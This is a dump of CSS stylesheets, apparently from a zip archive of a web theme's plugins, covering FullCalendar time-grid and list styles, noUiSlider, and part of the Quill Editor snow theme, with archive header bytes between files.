.fc-timegrid-cols > table { height: 100%; } .fc-media-screen .fc-timegrid-col-bg, .fc-media-screen .fc-timegrid-col-events, .fc-media-screen .fc-timegrid-now-indicator-container { position: absolute; top: 0; left: 0; right: 0; } .fc { /* bg */ } .fc .fc-timegrid-col-bg { z-index: 2; /* TODO: kill */ } .fc .fc-timegrid-col-bg .fc-non-business { z-index: 1 } .fc .fc-timegrid-col-bg .fc-bg-event { z-index: 2 } .fc .fc-timegrid-col-bg .fc-highlight { z-index: 3 } .fc .fc-timegrid-bg-harness { position: absolute; /* top/bottom will be set by JS */ left: 0; right: 0; } .fc { /* fg events */ /* (the mirror segs are put into a separate container with same classname, */ /* and they must be after the normal seg container to appear at a higher z-index) */ } .fc .fc-timegrid-col-events { z-index: 3; /* child event segs have z-indexes that are scoped within this div */ } .fc { /* now indicator */ } .fc .fc-timegrid-now-indicator-container { bottom: 0; overflow: hidden; /* don't let overflow of lines/arrows cause unnecessary scrolling */ /* z-index is set on the individual elements */ } .fc-direction-ltr .fc-timegrid-col-events { margin: 0 2.5% 0 2px; } .fc-direction-rtl .fc-timegrid-col-events { margin: 0 2px 0 2.5%; } .fc-timegrid-event-harness { position: absolute /* top/left/right/bottom will all be set by JS */ } .fc-timegrid-event-harness > .fc-timegrid-event { position: absolute; /* absolute WITHIN the harness */ top: 0; /* for when not yet positioned */ bottom: 0; /* " */ left: 0; right: 0; } .fc-timegrid-event-harness-inset .fc-timegrid-event, .fc-timegrid-event.fc-event-mirror, .fc-timegrid-more-link { box-shadow: 0px 0px 0px 1px #fff; box-shadow: 0px 0px 0px 1px var(--fc-page-bg-color, #fff); } .fc-timegrid-event, .fc-timegrid-more-link { /* events need to be root */ font-size: .85em; font-size: var(--fc-small-font-size, .85em); border-radius: 3px; } .fc-timegrid-event { /* events need to be root */ margin-bottom: 1px /* give some space from bottom */ } .fc-timegrid-event .fc-event-main { padding: 1px 1px 0; } .fc-timegrid-event .fc-event-time { white-space: nowrap; font-size: .85em; font-size: var(--fc-small-font-size, .85em); margin-bottom: 1px; } .fc-timegrid-event-short .fc-event-main-frame { flex-direction: row; overflow: hidden; } .fc-timegrid-event-short .fc-event-time:after { content: '\00a0-\00a0'; /* dash surrounded by non-breaking spaces */ } .fc-timegrid-event-short .fc-event-title { font-size: .85em; font-size: var(--fc-small-font-size, .85em) } .fc-timegrid-more-link { /* does NOT inherit from fc-timegrid-event */ position: absolute; z-index: 9999; /* hack */ color: inherit; color: var(--fc-more-link-text-color, inherit); background: #d0d0d0; background: var(--fc-more-link-bg-color, #d0d0d0); cursor: pointer; margin-bottom: 1px; /* match space below fc-timegrid-event */ } .fc-timegrid-more-link-inner { /* has fc-sticky */ padding: 3px 2px; top: 0; } .fc-direction-ltr .fc-timegrid-more-link { right: 0; } .fc-direction-rtl .fc-timegrid-more-link { left: 0; } .fc { /* line */ } .fc .fc-timegrid-now-indicator-line { position: absolute; z-index: 4; left: 0; right: 0; border-style: solid; border-color: red; border-color: var(--fc-now-indicator-color, red); border-width: 1px 0 0; } .fc { /* arrow */ } .fc .fc-timegrid-now-indicator-arrow { position: absolute; z-index: 4; margin-top: -5px; /* vertically center on top coordinate */ border-style: solid; border-color: red; border-color: var(--fc-now-indicator-color, red); } .fc-direction-ltr .fc-timegrid-now-indicator-arrow { left: 0; /* triangle pointing right. TODO: mixin */ border-width: 5px 0 5px 6px; border-top-color: transparent; border-bottom-color: transparent; } .fc-direction-rtl .fc-timegrid-now-indicator-arrow { right: 0; /* triangle pointing left. TODO: mixin */ border-width: 5px 6px 5px 0; border-top-color: transparent; border-bottom-color: transparent; } :root { --fc-list-event-dot-width: 10px; --fc-list-event-hover-bg-color: #f5f5f5; } .fc-theme-standard .fc-list { border: 1px solid #ddd; border: 1px solid var(--fc-border-color, #ddd); } .fc { /* message when no events */ } .fc .fc-list-empty { background-color: rgba(208, 208, 208, 0.3); background-color: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3)); height: 100%; display: flex; justify-content: center; align-items: center; /* vertically aligns fc-list-empty-inner */ } .fc .fc-list-empty-cushion { margin: 5em 0; } .fc { /* table within the scroller */ /* ---------------------------------------------------------------------------------------------------- */ } .fc .fc-list-table { width: 100%; border-style: hidden; /* kill outer border on theme */ } .fc .fc-list-table tr > * { border-left: 0; border-right: 0; } .fc .fc-list-sticky .fc-list-day > * { /* the cells */ position: sticky; top: 0; background: #fff; background: var(--fc-page-bg-color, #fff); /* for when headers are styled to be transparent and sticky */ } .fc { /* only exists for aria reasons, hide for non-screen-readers */ } .fc .fc-list-table thead { position: absolute; left: -10000px; } .fc { /* the table's border-style:hidden gets confused by hidden thead. force-hide top border of first cell */ } .fc .fc-list-table tbody > tr:first-child th { border-top: 0; } .fc .fc-list-table th { padding: 0; /* uses an inner-wrapper instead... */ } .fc .fc-list-table td, .fc .fc-list-day-cushion { padding: 8px 14px; } .fc { /* date heading rows */ /* ---------------------------------------------------------------------------------------------------- */ } .fc .fc-list-day-cushion:after { content: ""; clear: both; display: table; /* clear floating */ } .fc-theme-standard .fc-list-day-cushion { background-color: rgba(208, 208, 208, 0.3); background-color: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3)); } .fc-direction-ltr .fc-list-day-text, .fc-direction-rtl .fc-list-day-side-text { float: left; } .fc-direction-ltr .fc-list-day-side-text, .fc-direction-rtl .fc-list-day-text { float: right; } /* make the dot closer to the event title */ .fc-direction-ltr .fc-list-table .fc-list-event-graphic { padding-right: 0 } .fc-direction-rtl .fc-list-table .fc-list-event-graphic { padding-left: 0 } .fc .fc-list-event.fc-event-forced-url { cursor: pointer; /* whole row will seem clickable */ } .fc .fc-list-event:hover td { background-color: #f5f5f5; background-color: var(--fc-list-event-hover-bg-color, #f5f5f5); } .fc { /* shrink certain cols */ } .fc .fc-list-event-graphic, .fc .fc-list-event-time { white-space: nowrap; width: 1px; } .fc .fc-list-event-dot { display: inline-block; box-sizing: content-box; width: 0; height: 0; border: 5px solid #3788d8; border: calc(var(--fc-list-event-dot-width, 10px) / 2) solid var(--fc-event-border-color, #3788d8); border-radius: 5px; border-radius: calc(var(--fc-list-event-dot-width, 10px) / 2); } .fc { /* reset styling */ } .fc .fc-list-event-title a { color: inherit; text-decoration: none; } .fc { /* underline link when hovering over any part of row */ } .fc .fc-list-event.fc-event-forced-url:hover a { text-decoration: underline; } .fc-theme-bootstrap a:not([href]) { color: inherit; /* natural color for navlinks */ } .fc-theme-bootstrap5 a:not([href]) { color: inherit; text-decoration: inherit; } .fc-theme-bootstrap5 .fc-list, .fc-theme-bootstrap5 .fc-scrollgrid, .fc-theme-bootstrap5 td, .fc-theme-bootstrap5 th { border: 1px solid var(--bs-gray-400); } .fc-theme-bootstrap5 { /* HACK: reapply core styles after highe-precedence border statement above */ } .fc-theme-bootstrap5 .fc-scrollgrid { border-right-width: 0; border-bottom-width: 0; } .fc-theme-bootstrap5-shaded { background-color: var(--bs-gray-200); } PKZZm||css/plugins/nouislider.min.cssnu[.noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent;-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-target{position:relative}.noUi-base,.noUi-connects{width:100%;height:100%;position:relative;z-index:1}.noUi-connects{overflow:hidden;z-index:0}.noUi-connect,.noUi-origin{will-change:transform;position:absolute;z-index:1;top:0;right:0;height:100%;width:100%;-ms-transform-origin:0 0;-webkit-transform-origin:0 0;-webkit-transform-style:preserve-3d;transform-origin:0 0;transform-style:flat}.noUi-txt-dir-rtl.noUi-horizontal .noUi-origin{left:0;right:auto}.noUi-vertical .noUi-origin{top:-100%;width:0}.noUi-horizontal .noUi-origin{height:0}.noUi-handle{-webkit-backface-visibility:hidden;backface-visibility:hidden;position:absolute}.noUi-touch-area{height:100%;width:100%}.noUi-state-tap .noUi-connect,.noUi-state-tap .noUi-origin{-webkit-transition:transform .3s;transition:transform .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-horizontal{height:18px}.noUi-horizontal .noUi-handle{width:34px;height:28px;right:-17px;top:-6px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;right:-6px;bottom:-17px}.noUi-txt-dir-rtl.noUi-horizontal .noUi-handle{left:-17px;right:auto}.noUi-target{background:#FAFAFA;border-radius:4px;border:1px solid #D3D3D3;box-shadow:inset 0 1px 1px #F0F0F0,0 3px 6px -5px #BBB}.noUi-connects{border-radius:3px}.noUi-connect{background:#3FB8AF}.noUi-draggable{cursor:ew-resize}.noUi-vertical .noUi-draggable{cursor:ns-resize}.noUi-handle{border:1px solid #D9D9D9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #EBEBEB,0 3px 6px -3px #BBB}.noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.noUi-handle:after,.noUi-handle:before{content:"";display:block;position:absolute;height:14px;width:1px;background:#E8E7E6;left:14px;top:6px}.noUi-handle:after{left:17px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:14px;height:1px;left:6px;top:14px}.noUi-vertical .noUi-handle:after{top:17px}[disabled] .noUi-connect{background:#B8B8B8}[disabled] .noUi-handle,[disabled].noUi-handle,[disabled].noUi-target{cursor:not-allowed}.noUi-pips,.noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.noUi-pips{position:absolute;color:#999}.noUi-value{position:absolute;white-space:nowrap;text-align:center}.noUi-value-sub{color:#ccc;font-size:10px}.noUi-marker{position:absolute;background:#CCC}.noUi-marker-sub{background:#AAA}.noUi-marker-large{background:#AAA}.noUi-pips-horizontal{padding:10px 0;height:80px;top:100%;left:0;width:100%}.noUi-value-horizontal{-webkit-transform:translate(-50%,50%);transform:translate(-50%,50%)}.noUi-rtl .noUi-value-horizontal{-webkit-transform:translate(50%,50%);transform:translate(50%,50%)}.noUi-marker-horizontal.noUi-marker{margin-left:-1px;width:2px;height:5px}.noUi-marker-horizontal.noUi-marker-sub{height:10px}.noUi-marker-horizontal.noUi-marker-large{height:15px}.noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.noUi-value-vertical{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);padding-left:25px}.noUi-rtl .noUi-value-vertical{-webkit-transform:translate(0,50%);transform:translate(0,50%)}.noUi-marker-vertical.noUi-marker{width:5px;height:2px;margin-top:-1px}.noUi-marker-vertical.noUi-marker-sub{width:10px}.noUi-marker-vertical.noUi-marker-large{width:15px}.noUi-tooltip{display:block;position:absolute;border:1px solid #D9D9D9;border-radius:3px;background:#fff;color:#000;padding:5px;text-align:center;white-space:nowrap}.noUi-horizontal .noUi-tooltip{-webkit-transform:translate(-50%,0);transform:translate(-50%,0);left:50%;bottom:120%}.noUi-vertical .noUi-tooltip{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);top:50%;right:120%}.noUi-horizontal .noUi-origin>.noUi-tooltip{-webkit-transform:translate(50%,0);transform:translate(50%,0);left:auto;bottom:10px}.noUi-vertical .noUi-origin>.noUi-tooltip{-webkit-transform:translate(0,-18px);transform:translate(0,-18px);top:auto;right:28px}PKZ)aާ``css/plugins/quill.snow.cssnu[/*! * Quill Editor v1.3.7 * https://quilljs.com/ * Copyright (c) 2014, Jason Chen * Copyright (c) 2013, salesforce.com */ .ql-container { box-sizing: border-box; font-family: Helvetica, Arial, sans-serif; font-size: 13px; height: 100%; margin: 0px; position: relative; } .ql-container.ql-disabled .ql-tooltip { visibility: hidden; } .ql-container.ql-disabled .ql-editor ul[data-checked] > li::before { pointer-events: none; } .ql-clipboard { left: -100000px; height: 1px; overflow-y: hidden; position: absolute; top: 50%; } .ql-clipboard p { margin: 0; padding: 0; } .ql-editor { box-sizing: border-box; line-height: 1.42; height: 100%; outline: none; overflow-y: auto; padding: 12px 15px; tab-size: 4; -moz-tab-size: 4; text-align: left; white-space: pre-wrap; word-wrap: break-word; } .ql-editor > * { cursor: text; } .ql-editor p, .ql-editor ol, .ql-editor ul, .ql-editor pre, .ql-editor blockquote, .ql-editor h1, .ql-editor h2, .ql-editor h3, .ql-editor h4, .ql-editor h5, .ql-editor h6 { margin: 0; padding: 0; counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol, .ql-editor ul { padding-left: 1.5em; } .ql-editor ol > li, .ql-editor ul > li { list-style-type: none; } .ql-editor ul > li::before { content: '\2022'; } .ql-editor ul[data-checked=true], .ql-editor ul[data-checked=false] { pointer-events: none; } .ql-editor ul[data-checked=true] > li *, .ql-editor ul[data-checked=false] > li * { pointer-events: all; } .ql-editor ul[data-checked=true] > li::before, .ql-editor ul[data-checked=false] > li::before { color: #777; cursor: pointer; pointer-events: all; } .ql-editor ul[data-checked=true] > li::before { content: '\2611'; } .ql-editor ul[data-checked=false] > li::before { content: '\2610'; } .ql-editor li::before { display: inline-block; white-space: nowrap; width: 1.2em; } .ql-editor li:not(.ql-direction-rtl)::before { margin-left: -1.5em; margin-right: 0.3em; text-align: right; } .ql-editor li.ql-direction-rtl::before { margin-left: 0.3em; margin-right: -1.5em; } .ql-editor ol li:not(.ql-direction-rtl), .ql-editor ul li:not(.ql-direction-rtl) { padding-left: 1.5em; } .ql-editor ol li.ql-direction-rtl, .ql-editor ul li.ql-direction-rtl { padding-right: 1.5em; } .ql-editor ol li { counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; counter-increment: list-0; } .ql-editor ol li:before { content: counter(list-0, decimal) '. '; } .ql-editor ol li.ql-indent-1 { counter-increment: list-1; } .ql-editor ol li.ql-indent-1:before { content: counter(list-1, lower-alpha) '. '; } .ql-editor ol li.ql-indent-1 { counter-reset: list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-2 { counter-increment: list-2; } .ql-editor ol li.ql-indent-2:before { content: counter(list-2, lower-roman) '. '; } .ql-editor ol li.ql-indent-2 { counter-reset: list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-3 { counter-increment: list-3; } .ql-editor ol li.ql-indent-3:before { content: counter(list-3, decimal) '. '; } .ql-editor ol li.ql-indent-3 { counter-reset: list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-4 { counter-increment: list-4; } .ql-editor ol li.ql-indent-4:before { content: counter(list-4, lower-alpha) '. '; } .ql-editor ol li.ql-indent-4 { counter-reset: list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-5 { counter-increment: list-5; } .ql-editor ol li.ql-indent-5:before { content: counter(list-5, lower-roman) '. '; } .ql-editor ol li.ql-indent-5 { counter-reset: list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-6 { counter-increment: list-6; } .ql-editor ol li.ql-indent-6:before { content: counter(list-6, decimal) '. '; } .ql-editor ol li.ql-indent-6 { counter-reset: list-7 list-8 list-9; } .ql-editor ol li.ql-indent-7 { counter-increment: list-7; } .ql-editor ol li.ql-indent-7:before { content: counter(list-7, lower-alpha) '. '; } .ql-editor ol li.ql-indent-7 { counter-reset: list-8 list-9; } .ql-editor ol li.ql-indent-8 { counter-increment: list-8; } .ql-editor ol li.ql-indent-8:before { content: counter(list-8, lower-roman) '. '; } .ql-editor ol li.ql-indent-8 { counter-reset: list-9; } .ql-editor ol li.ql-indent-9 { counter-increment: list-9; } .ql-editor ol li.ql-indent-9:before { content: counter(list-9, decimal) '. '; } .ql-editor .ql-indent-1:not(.ql-direction-rtl) { padding-left: 3em; } .ql-editor li.ql-indent-1:not(.ql-direction-rtl) { padding-left: 4.5em; } .ql-editor .ql-indent-1.ql-direction-rtl.ql-align-right { padding-right: 3em; } .ql-editor li.ql-indent-1.ql-direction-rtl.ql-align-right { padding-right: 4.5em; } .ql-editor .ql-indent-2:not(.ql-direction-rtl) { padding-left: 6em; } .ql-editor li.ql-indent-2:not(.ql-direction-rtl) { padding-left: 7.5em; } .ql-editor .ql-indent-2.ql-direction-rtl.ql-align-right { padding-right: 6em; } .ql-editor li.ql-indent-2.ql-direction-rtl.ql-align-right { padding-right: 7.5em; } .ql-editor .ql-indent-3:not(.ql-direction-rtl) { padding-left: 9em; } .ql-editor li.ql-indent-3:not(.ql-direction-rtl) { padding-left: 10.5em; } .ql-editor .ql-indent-3.ql-direction-rtl.ql-align-right { padding-right: 9em; } .ql-editor li.ql-indent-3.ql-direction-rtl.ql-align-right { padding-right: 10.5em; } .ql-editor .ql-indent-4:not(.ql-direction-rtl) { padding-left: 12em; } .ql-editor li.ql-indent-4:not(.ql-direction-rtl) { padding-left: 13.5em; } .ql-editor .ql-indent-4.ql-direction-rtl.ql-align-right { padding-right: 12em; } .ql-editor li.ql-indent-4.ql-direction-rtl.ql-align-right { padding-right: 13.5em; } .ql-editor .ql-indent-5:not(.ql-direction-rtl) { padding-left: 15em; } .ql-editor li.ql-indent-5:not(.ql-direction-rtl) { padding-left: 16.5em; } .ql-editor .ql-indent-5.ql-direction-rtl.ql-align-right { padding-right: 15em; } .ql-editor li.ql-indent-5.ql-direction-rtl.ql-align-right { padding-right: 16.5em; } .ql-editor .ql-indent-6:not(.ql-direction-rtl) { padding-left: 18em; } .ql-editor li.ql-indent-6:not(.ql-direction-rtl) { padding-left: 19.5em; } .ql-editor .ql-indent-6.ql-direction-rtl.ql-align-right { padding-right: 18em; } .ql-editor li.ql-indent-6.ql-direction-rtl.ql-align-right { padding-right: 19.5em; } .ql-editor .ql-indent-7:not(.ql-direction-rtl) { padding-left: 21em; } .ql-editor li.ql-indent-7:not(.ql-direction-rtl) { padding-left: 22.5em; } .ql-editor .ql-indent-7.ql-direction-rtl.ql-align-right { padding-right: 21em; } .ql-editor li.ql-indent-7.ql-direction-rtl.ql-align-right { padding-right: 22.5em; } .ql-editor .ql-indent-8:not(.ql-direction-rtl) { padding-left: 24em; } .ql-editor li.ql-indent-8:not(.ql-direction-rtl) { padding-left: 25.5em; } .ql-editor .ql-indent-8.ql-direction-rtl.ql-align-right { padding-right: 24em; } .ql-editor li.ql-indent-8.ql-direction-rtl.ql-align-right { padding-right: 25.5em; } .ql-editor .ql-indent-9:not(.ql-direction-rtl) { padding-left: 27em; } .ql-editor li.ql-indent-9:not(.ql-direction-rtl) { padding-left: 28.5em; } .ql-editor .ql-indent-9.ql-direction-rtl.ql-align-right { padding-right: 27em; } .ql-editor li.ql-indent-9.ql-direction-rtl.ql-align-right { padding-right: 28.5em; } .ql-editor .ql-video { display: block; max-width: 100%; } .ql-editor .ql-video.ql-align-center { margin: 0 auto; } .ql-editor .ql-video.ql-align-right { margin: 0 0 0 auto; } .ql-editor .ql-bg-black { background-color: #000; } .ql-editor .ql-bg-red { background-color: #e60000; } .ql-editor .ql-bg-orange { background-color: #f90; } .ql-editor .ql-bg-yellow { background-color: #ff0; } .ql-editor .ql-bg-green { background-color: #008a00; } .ql-editor .ql-bg-blue { background-color: #06c; } .ql-editor .ql-bg-purple { background-color: #93f; } .ql-editor .ql-color-white { color: #fff; } .ql-editor .ql-color-red { color: #e60000; } .ql-editor .ql-color-orange { color: #f90; } .ql-editor .ql-color-yellow { color: #ff0; } .ql-editor .ql-color-green { color: #008a00; } .ql-editor .ql-color-blue { color: #06c; } .ql-editor .ql-color-purple { color: #93f; } .ql-editor .ql-font-serif { font-family: Georgia, Times New Roman, serif; } .ql-editor .ql-font-monospace { font-family: Monaco, Courier New, monospace; } .ql-editor .ql-size-small { font-size: 0.75em; } .ql-editor .ql-size-large { font-size: 1.5em; } .ql-editor .ql-size-huge { font-size: 2.5em; } .ql-editor .ql-direction-rtl { direction: rtl; text-align: inherit; } .ql-editor .ql-align-center { text-align: center; } .ql-editor .ql-align-justify { text-align: justify; } .ql-editor .ql-align-right { text-align: right; } .ql-editor.ql-blank::before { color: rgba(0,0,0,0.6); content: attr(data-placeholder); font-style: italic; left: 15px; pointer-events: none; position: absolute; right: 15px; } .ql-snow.ql-toolbar:after, .ql-snow .ql-toolbar:after { clear: both; content: ''; display: table; } .ql-snow.ql-toolbar button, .ql-snow .ql-toolbar button { background: none; border: none; cursor: pointer; display: inline-block; float: left; height: 24px; padding: 3px 5px; width: 28px; } .ql-snow.ql-toolbar button svg, .ql-snow .ql-toolbar button svg { float: left; height: 100%; } .ql-snow.ql-toolbar button:active:hover, .ql-snow .ql-toolbar button:active:hover { outline: none; } .ql-snow.ql-toolbar input.ql-image[type=file], .ql-snow .ql-toolbar input.ql-image[type=file] { display: none; } .ql-snow.ql-toolbar button:hover, .ql-snow .ql-toolbar button:hover, .ql-snow.ql-toolbar button:focus, .ql-snow .ql-toolbar button:focus, .ql-snow.ql-toolbar button.ql-active, .ql-snow .ql-toolbar button.ql-active, .ql-snow.ql-toolbar .ql-picker-label:hover, .ql-snow .ql-toolbar .ql-picker-label:hover, .ql-snow.ql-toolbar .ql-picker-label.ql-active, .ql-snow .ql-toolbar .ql-picker-label.ql-active, .ql-snow.ql-toolbar .ql-picker-item:hover, .ql-snow .ql-toolbar .ql-picker-item:hover, .ql-snow.ql-toolbar .ql-picker-item.ql-selected, .ql-snow .ql-toolbar .ql-picker-item.ql-selected { color: #06c; } .ql-snow.ql-toolbar button:hover .ql-fill, .ql-snow .ql-toolbar button:hover .ql-fill, .ql-snow.ql-toolbar button:focus .ql-fill, .ql-snow .ql-toolbar button:focus .ql-fill, .ql-snow.ql-toolbar button.ql-active .ql-fill, .ql-snow .ql-toolbar button.ql-active .ql-fill, .ql-snow.ql-toolbar .ql-picker-label:hover .ql-fill, .ql-snow .ql-toolbar .ql-picker-label:hover .ql-fill, .ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-fill, .ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-fill, .ql-snow.ql-toolbar .ql-picker-item:hover .ql-fill, .ql-snow .ql-toolbar .ql-picker-item:hover .ql-fill, .ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-fill, .ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-fill, .ql-snow.ql-toolbar button:hover .ql-stroke.ql-fill, .ql-snow .ql-toolbar button:hover .ql-stroke.ql-fill, .ql-snow.ql-toolbar button:focus .ql-stroke.ql-fill, .ql-snow .ql-toolbar button:focus .ql-stroke.ql-fill, .ql-snow.ql-toolbar button.ql-active .ql-stroke.ql-fill, .ql-snow .ql-toolbar button.ql-active .ql-stroke.ql-fill, .ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill, .ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill, .ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill, .ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill, .ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill, .ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill, .ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill, .ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill { fill: #06c; } .ql-snow.ql-toolbar button:hover .ql-stroke, .ql-snow .ql-toolbar button:hover .ql-stroke, .ql-snow.ql-toolbar button:focus .ql-stroke, .ql-snow .ql-toolbar button:focus .ql-stroke, .ql-snow.ql-toolbar button.ql-active .ql-stroke, .ql-snow .ql-toolbar button.ql-active .ql-stroke, .ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke, .ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke, .ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke, .ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke, .ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke, .ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke, .ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke, .ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke, .ql-snow.ql-toolbar button:hover .ql-stroke-miter, .ql-snow .ql-toolbar button:hover .ql-stroke-miter, .ql-snow.ql-toolbar button:focus .ql-stroke-miter, .ql-snow .ql-toolbar button:focus .ql-stroke-miter, .ql-snow.ql-toolbar button.ql-active .ql-stroke-miter, .ql-snow .ql-toolbar button.ql-active .ql-stroke-miter, .ql-snow.ql-toolbar .ql-picker-label:hover .ql-stroke-miter, .ql-snow .ql-toolbar .ql-picker-label:hover .ql-stroke-miter, .ql-snow.ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter, .ql-snow .ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter, .ql-snow.ql-toolbar .ql-picker-item:hover .ql-stroke-miter, .ql-snow .ql-toolbar .ql-picker-item:hover .ql-stroke-miter, .ql-snow.ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter, .ql-snow .ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter { stroke: #06c; } @media (pointer: coarse) { .ql-snow.ql-toolbar button:hover:not(.ql-active), .ql-snow .ql-toolbar button:hover:not(.ql-active) { color: #444; } .ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-fill, .ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-fill, .ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill, .ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill { fill: #444; } .ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke, .ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke, .ql-snow.ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter, .ql-snow .ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter { stroke: #444; } } .ql-snow { box-sizing: border-box; } .ql-snow * { box-sizing: border-box; } .ql-snow .ql-hidden { display: none; } .ql-snow .ql-out-bottom, .ql-snow .ql-out-top { visibility: hidden; } .ql-snow .ql-tooltip { position: absolute; transform: translateY(10px); } .ql-snow .ql-tooltip a { cursor: pointer; text-decoration: none; } .ql-snow .ql-tooltip.ql-flip { transform: translateY(-10px); } .ql-snow .ql-formats { display: inline-block; vertical-align: middle; } .ql-snow .ql-formats:after { clear: both; content: ''; display: table; } .ql-snow .ql-stroke { fill: none; stroke: #444; stroke-linecap: round; stroke-linejoin: round; stroke-width: 2; } .ql-snow .ql-stroke-miter { fill: none; stroke: #444; stroke-miterlimit: 10; stroke-width: 2; } .ql-snow .ql-fill, .ql-snow .ql-stroke.ql-fill { fill: #444; } .ql-snow .ql-empty { fill: none; } .ql-snow .ql-even { fill-rule: evenodd; } .ql-snow .ql-thin, .ql-snow .ql-stroke.ql-thin { stroke-width: 1; } .ql-snow .ql-transparent { opacity: 0.4; } .ql-snow .ql-direction svg:last-child { display: none; } .ql-snow .ql-direction.ql-active svg:last-child { display: inline; } .ql-snow .ql-direction.ql-active svg:first-child { display: none; } .ql-snow .ql-editor h1 { font-size: 2em; } .ql-snow .ql-editor h2 { font-size: 1.5em; } .ql-snow .ql-editor h3 { font-size: 1.17em; } .ql-snow .ql-editor h4 { font-size: 1em; } .ql-snow .ql-editor h5 { font-size: 0.83em; } .ql-snow .ql-editor h6 { font-size: 0.67em; } .ql-snow .ql-editor a { text-decoration: underline; } .ql-snow .ql-editor blockquote { border-left: 4px solid #ccc; margin-bottom: 5px; margin-top: 5px; padding-left: 16px; } .ql-snow .ql-editor code, .ql-snow .ql-editor pre { background-color: #f0f0f0; border-radius: 3px; } .ql-snow .ql-editor pre { white-space: pre-wrap; margin-bottom: 5px; margin-top: 5px; padding: 5px 10px; } .ql-snow .ql-editor code { font-size: 85%; padding: 2px 4px; } .ql-snow .ql-editor pre.ql-syntax { background-color: #23241f; color: #f8f8f2; overflow: visible; } .ql-snow .ql-editor img { max-width: 100%; } .ql-snow .ql-picker { color: #444; display: inline-block; float: left; font-size: 14px; font-weight: 500; height: 24px; position: relative; vertical-align: middle; } .ql-snow .ql-picker-label { cursor: pointer; display: inline-block; height: 100%; padding-left: 8px; padding-right: 2px; position: relative; width: 100%; } .ql-snow .ql-picker-label::before { display: inline-block; line-height: 22px; } .ql-snow .ql-picker-options { background-color: #fff; display: none; min-width: 100%; padding: 4px 8px; position: absolute; white-space: nowrap; } .ql-snow .ql-picker-options .ql-picker-item { cursor: pointer; display: block; padding-bottom: 5px; padding-top: 5px; } .ql-snow .ql-picker.ql-expanded .ql-picker-label { color: #ccc; z-index: 2; } .ql-snow .ql-picker.ql-expanded .ql-picker-label .ql-fill { fill: #ccc; } .ql-snow .ql-picker.ql-expanded .ql-picker-label .ql-stroke { stroke: #ccc; } .ql-snow .ql-picker.ql-expanded .ql-picker-options { display: block; margin-top: -1px; top: 100%; z-index: 1; } .ql-snow .ql-color-picker, .ql-snow .ql-icon-picker { width: 28px; } .ql-snow .ql-color-picker .ql-picker-label, .ql-snow .ql-icon-picker .ql-picker-label { padding: 2px 4px; } .ql-snow .ql-color-picker .ql-picker-label svg, .ql-snow .ql-icon-picker .ql-picker-label svg { right: 4px; } .ql-snow .ql-icon-picker .ql-picker-options { padding: 4px 0px; } .ql-snow .ql-icon-picker .ql-picker-item { height: 24px; width: 24px; padding: 2px 4px; } .ql-snow .ql-color-picker .ql-picker-options { padding: 3px 5px; width: 152px; } .ql-snow .ql-color-picker .ql-picker-item { border: 1px solid transparent; float: left; height: 16px; margin: 2px; padding: 0px; width: 16px; } .ql-snow .ql-picker:not(.ql-color-picker):not(.ql-icon-picker) svg { position: absolute; margin-top: -9px; right: 0; top: 50%; width: 18px; } .ql-snow .ql-picker.ql-header .ql-picker-label[data-label]:not([data-label=''])::before, .ql-snow .ql-picker.ql-font 